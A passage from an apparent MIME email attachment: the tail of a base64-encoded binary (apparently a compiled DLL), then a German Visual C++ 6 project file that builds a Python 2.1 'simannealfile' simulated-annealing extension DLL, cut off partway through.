Ezi4OL842jnhOXE6eDo0OwY8bTyfPcE94z0AAAAAAQCIAAAAFDMYMxwzIDMkMygzLDMwMzQz ODM8M0AzRDNIM10zYTNlM2kzbTOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DOZNbE1 WzZuNpM2zTbWNrU4wzjWOPI4CzkpOVM5aTmKOdM53zkAOgw6SDpyOlY7gzv1O/w7gD2HPcM9 6D0AEAEAaAAAAM8w/jBDM20zyDPvMzM1XjWrNdI1rjfVN0o4lDirONI4Dzo3Ovo68zvoPOw8 8Dz0PPg8/DwAPQQ9Vj1aPV49Yj1mPWo9bj1yPXY9ej2oPcc9yj7mPu8+ED8ZPzo/Qz8AAAAg AQCUAAAAADAHMIcxkDHdMeEx5THpMe0x8TH1Mfkx/TEBMn4yjDKbMrMyzDLkMgEzEjMnMzIz QTNOM1czZDNtM+Az6TPkNO00MzU/Nb41zDWENs42/zZBN3g3lTepN7Q3ATiJOPA4mDkMOms6 bDt8O407lTulO7Y7eTynPK08uzzFPBU9Oj1cPbc9Oj6LPvI/+T8AMAEAYAAAACEyMDQ5NGs1 eTUnNjA2VTZeNn82iDarNrQ22zbkNjw3VDfaN/g3HzkwOQc6NzrNOj47Kjw5PLc8wDzWPO88 sT0UPkQ+YD6EPsE+PD+7P8s/1z/pP/k/AAAAQAEAvAAAAAUw5TB0MfkxTjJVMq4yDjMVM48z NjQ9NMs00jThNGk1cDW0Nbs1xTUWNhs2ITY3Nj42VzZ1No42ojawNrc2yDbQNtc23TbkNvs2 AjcHNw03GjcgNyY3MDc6N1c3YDdrN3o8hjyPPKs8tjy9PMg80DzZPOk89zwDPRQ9Hz0oPT49 SD1OPVo9YT1nPW89dz2DPYw9mz2kPa09vj3EPc091T3oPfE9Qz6DPo8+vj7vPvs+HD9iPwBQ AQBEAAAA6DLzMvsyJTMrMzMzQDNIM08zaDNuM3czfDOFM5cznjPFM+Mz6jMQNBg02TQaPCQ8 Kzw9PGo8kTxqPQAAAGABAKQAAABIMm4y/DImMywzQTN5M+Qz9zMVNCc0LTQ2NEs02DTyNDk1 ejWNNQU2DDZENlE2aTaJNpc2qjbINtw2HDc9N0M3VTeRN9s36jf9Nxg4KjgyODg4PDhBOE44 WDiDONc44DhdOUE6NDyIPDY9Pz1OPVo9aT18PY89+T0JPio+Tz5yPoA+kz7nPgg/Kj9VP14/ Zz99P4Y/zT/gP/k/AAAAcAEAEAEAABYwHzAoMDswTzBYMF8whTCOMNow6zASMSsxRTGQMZgx rzHEMcoxzzHkMesxFTJFMnEyqDPAM8czzzPUM9gz3DMFNCs0RTRMNFA0VDRYNFw0YDRkNGg0 sjS4NLw0wDTENCo1NTVQNVc1XDVgNWQ1gTWrNd015DXoNew18DX0Nfg1/DUANko2UDZUNlg2 XDYMOBU4Njg/OAY5DzkwOTk5HTokOis6SDpiOnw6VTtpO287+jv+OwI8BjwKPA48UDxkPJ88 pzytPLs8xTzKPNA83DzmPOs88Dz6PP88BT0OPR09Kj1DPX4+jD6bPrM+3D7pPvQ+CT84P1Q/ dz99P4M/iz+RP9Y/3D8AAACAAQC0AAAABTBJMF8wZjC6Mcsx4zEsMlIybTKOMrky3jLkMu0y AjN5M5UzoTPKM9gz5jP8Mzk0VTR7NIc0rjS6NMY03DQYNTA1UjWWNcQ18zX+NSU2MDZJNmE2 ojbBNss2KTdBN+g3Gjj1OP84LDlfOWk5hTncOTc6PTpDOks6UTqZOp86uDrBOsk60jogO0w7 YjtuO4Q7kTuYO6U7xzvlO+w7Fjw1PH48hzwOPpM+mj7JPwCQAQB8AAAAkTCgMMcw2jDgMEwx hjKjMr4ywjLGMsoyzjIZMzEz3jPtMyY0QzRuNHc0kzScNKk0QjWDNZM1mjWoNck10TX4NRo2 KjYyNkA2SDZvNn82hzaVNvY2CTcWNx83OzdNN1Y36Df/N0g4jjiWOKU4rTgYOUA5AAAAoAEA VAAAAEUwiTGkMfUxljKgMsIy/TJBNFw0rTRRNVs1fTXkNd42DDcQNxQ3GDccNyA3JDcoN4Y6 qDquOrQ6vDrCOgI7CDsoO1c7dTumOwY8AAAAsAEATAAAAHQylDI5NlE26zYUNzY3VjeQN7k3 wzfNNzM4bTiKOKY4wjgCOSQ5QTn+OQg6EjpLOpY6HztcOxY9az0+Ps0+/T4cP6s/AMABAGAB AACxML0wBzEVMR8xMTFKMVUxWTFdMWExZTG/MWgydTJ7MpUysDLAMtky6jL6MgwzITNSM3Y0 CTUYNT81WDWHNbA1xTX/NTU2SDZVNl02iTaTNpw2oTamNso20DbfNuk28jb7NgQ3DTcVNx43 KDcxNzo3QDdIN1A3WjdsN3Q3fjeFN5U3oTeyN7o3xTfMN9s35zf/Nwg4LzhCOGE4ZziCOKE4 rzjwOEk5UTmYOaA5zTnVOeE55zn1OQQ6EDpWOmw6ejqGOpY6ozqsOrY6wDrLOtU63zr+Ogc7 ETsbOyQ7MjtPO1w7ZTtvO3k7hDuOO5g7tzvAO8o71DvdO+s7TTxTPGE8bzyEPJI8rDy6PM88 3TwWPSE9Nz1wPX89Az4SPjw+Sz5rPo8+mD6lPsk+zz7aPuE+5z7wPvw+Aj8LPxM/Hj8oPy4/ Nz9AP4g/oD+nP68/tD+4P7w/5T8AAADQAQAQAQAACzAlMCwwMDA0MDgwPDBAMEQwSDCSMJgw nDCgMKQwCjEVMTAxNzE8MUAxRDFhMYsxvTHEMcgxzDHQMdQx2DHcMeAxKjIwMjQyODI8MpYy mzK4MsYyzjLYMuky8zL9MhAzHzM8M0czWjOBMw00MDR0NNA0/TQoNXs1gTWKNZw1ojWsNbo1 5jXuNRk2RjZRNlc2uDbENuw2+DYANw43FDcgN0c3ZDelN7U3vzfNN9c35TfuNyM4KjhQOFQ4 WDhcOGA4pDitOLc4wTjoOBI5GTnLOdI5+DkcOi06UTqoOrc60Dr1OgM7HDsqO347jTuiO8I7 0TvmO/Q7FTwoPG08eTwaPkE+Oz+VPwAAAOABAGwAAAA4Mcw0cjUhNiU2KTYtNhk3JjcuNzk3 XDdpN3E3fDecN6k3sTe8N9w36TfxN/w3XDieOLY4pTq8OtM6FjsbOzg7RjtTO107bjt7O4U7 sTvSO9078DsXPJI8tzwHPYo9tz3pPQAAAPABAGgAAABIMncyHzNcM2MzyzMnNFQ0qzToNO80 czWgNRo2ITZeNos2JjhTOLI43ziKO447kjuWO5o7njuiO6Y7qjuuO7I7tju6O747wjvGOwU8 CTwNPEw8UDxUPMY9CT48PmA+AAAAAAIAgAAAAPYx+zEYMiIyKTIzMj0ySjJRMlsyZTKqMssy 1jLpMjwzZDNwM5A0CzUuNaY1zDU1Njs2QzZRNlc2ajaWNqM2tDa6Nso21jbjNvQ2+jYLNxc3 lje9N+s3NzhQOLc41TgvOT85kznZOUg6bzrROvA6ljvCO987BDwgPAAQAgBAAAAAlzC7MK4x 9jH8MQoyWTKJMuQy6jL4MlYzdDOKM6kzvjPTM+gzGjQ6NE00dzSTNKw0wTTWNOw0DjUAIAIA KAAAAFw6YDpwOng6fDqEOog6lDqYOrA6uDq8Osg60DrUOgAAADACAGgAAAC8M8AzlDSYNKA0 pDQUNRg1IDUkNWA2fDaINqQ2rDa4NtQ24Db8Ngg3JDcwN0w3VDdcN2Q3cDeMN5g3tDfAN9w3 5DfwNww4FDggODw4SDhkOHA4jDiYOLQ4wDjcOOQ4AAAAUAIAHAAAAAwwEDAUMCAwLDCkP7Q/ uD+8P8Q/AGACAMgBAAAYMBwwKDAsMDgwPDBIMEwwWDBcMGgwbDB4MHwwiDCMMJgwnDCoMKww uDC8MMgwzDDYMNww6DDsMPgw/DAIMQwxGDEcMSgxLDE4MTwxSDFMMVgxXDFoMWwxeDF8MYgx jDGYMZwxqDGsMbgxvDHIMcwx2DHcMegx7DH4MfwxCDIMMhgyHDIoMiwyODI8MkgyTDJYMlwy aDJsMngyfDKIMowymDKcMqgyrDK4MrwyyDLMMtgy3DLoMuwy+DL8MggzDDMYMxwzKDMsMzgz PDNIM0wzWDNcM2gzbDN4M3wziDOMM5gznDOoM6wzuDO8M8gzzDPYM9wz6DPsM/gz/DMINAw0 GDQcNCg0LDQ4NDw0SDRMNFg0XDRoNGw0eDR8NIg0jDSYNJw0qDSsNLg0vDTINMw02DTcNOg0 7DT4NPw0CDUMNRg1HDUoNSw1ODU8NUg1TDVYNVw1aDVsNXg1fDWINYw1mDWcNag1rDW4Nbw1 yDXMNdg13DXoNew1CDYQNhw2SDZQNlw2iDaQNpw2yDbQNtw2CDcQNxw3SDdQN1w3iDeQN5w3 yDfQN9w3CDgQOBw4RDhIOEw4UDhUOFg4XDhgOGQ4AIACAAABAABgMmQyaDKAMoQyiDKMMpAy lDKYMqQyxDLIMswy1DL0MgQzFDOQM5gzEDYUNno2fjaCNoY2wDbENsg2zDbQNtQ2QDhEOEg4 TDhQOFw4YDikOqw6tDq8OsQ6zDrUOtw65DrsOvQ6/DoEOww7FDscOyQ7LDsePCI8JjwqPC48 Mjw2PDo8PjxCPEY8SjxOPFI8VjxaPF48YjxmPGo8bjxyPHY8ejx+PII8hjyKPI48kjyWPJo8 njyiPKY8qjyuPLI8tjy6PL48wjzGPMo8zjzSPNY82jzePOI85jzqPO488jz2PPo8/jwCPQY9 Cj0OPRI9Fj0aPeA95D0AAACQAgCsAAAApDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQx HDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxoDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx 4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgy TDJQMmAyZDJoMmwycDJ0MngyfDKAMoQykDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA --------------090302080802010307050504 Content-Type: text/plain; name="simannealfile.dsp" Content-Transfer-Encoding: 8bit Content-Disposition: inline; filename="simannealfile.dsp" # Microsoft Developer Studio Project File - Name="simannealfile" - Package Owner=<4> # Microsoft Developer Studio Generated Build File, Format Version 6.00 # ** NICHT BEARBEITEN ** # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 CFG=simannealfile - Win32 Debug !MESSAGE Dies ist kein gültiges Makefile. Zum Erstellen dieses Projekts mit NMAKE !MESSAGE verwenden Sie den Befehl "Makefile exportieren" und führen Sie den Befehl !MESSAGE !MESSAGE NMAKE /f "simannealfile.mak". !MESSAGE !MESSAGE Sie können beim Ausführen von NMAKE eine Konfiguration angeben !MESSAGE durch Definieren des Makros CFG in der Befehlszeile. Zum Beispiel: !MESSAGE !MESSAGE NMAKE /f "simannealfile.mak" CFG="simannealfile - Win32 Debug" !MESSAGE !MESSAGE Für die Konfiguration stehen zur Auswahl: !MESSAGE !MESSAGE "simannealfile - Win32 Release" (basierend auf "Win32 (x86) Dynamic-Link Library") !MESSAGE "simannealfile - Win32 Debug" (basierend auf "Win32 (x86) Dynamic-Link Library") !MESSAGE # Begin Project # PROP AllowPerConfigDependencies 0 # PROP Scc_ProjName "" # PROP Scc_LocalPath "" CPP=cl.exe MTL=midl.exe RSC=rc.exe !IF "$(CFG)" == "simannealfile - Win32 Release" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 0 # PROP BASE Output_Dir "Release" # PROP BASE Intermediate_Dir "Release" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 0 # PROP Output_Dir "Release" # PROP Intermediate_Dir "Release" # PROP Target_Dir "" # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c # ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /c # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x407 /d "NDEBUG" # ADD RSC /l 0x407 /d "NDEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 !ELSEIF "$(CFG)" == "simannealfile - Win32 Debug" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 1 # PROP BASE Output_Dir "Debug" # PROP BASE Intermediate_Dir "Debug" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 1 # PROP Output_Dir "Debug" # PROP Intermediate_Dir "Debug" # PROP Ignore_Export_Lib 0 # PROP Target_Dir "" # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c # ADD CPP /nologo /MTd /W3 /GX /Od /I "$(PYTHON_INCLUDE)" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /YX /FD /GZ /c # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x407 /d "_DEBUG" # ADD RSC /l 0x407 /d "_DEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib $(PYTHON_LIB) /nologo /dll /incremental:no /machine:I386 /out:"simannealfile.dll" /libpath:"C:\Python21\libs" # SUBTRACT LINK32 /debug !ENDIF # Begin Target # Name "simannealfile - Win32 Release" # Name "simannealfile - Win32 Debug" # Begin Group "Quellcodedateien" # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" # Begin Source File 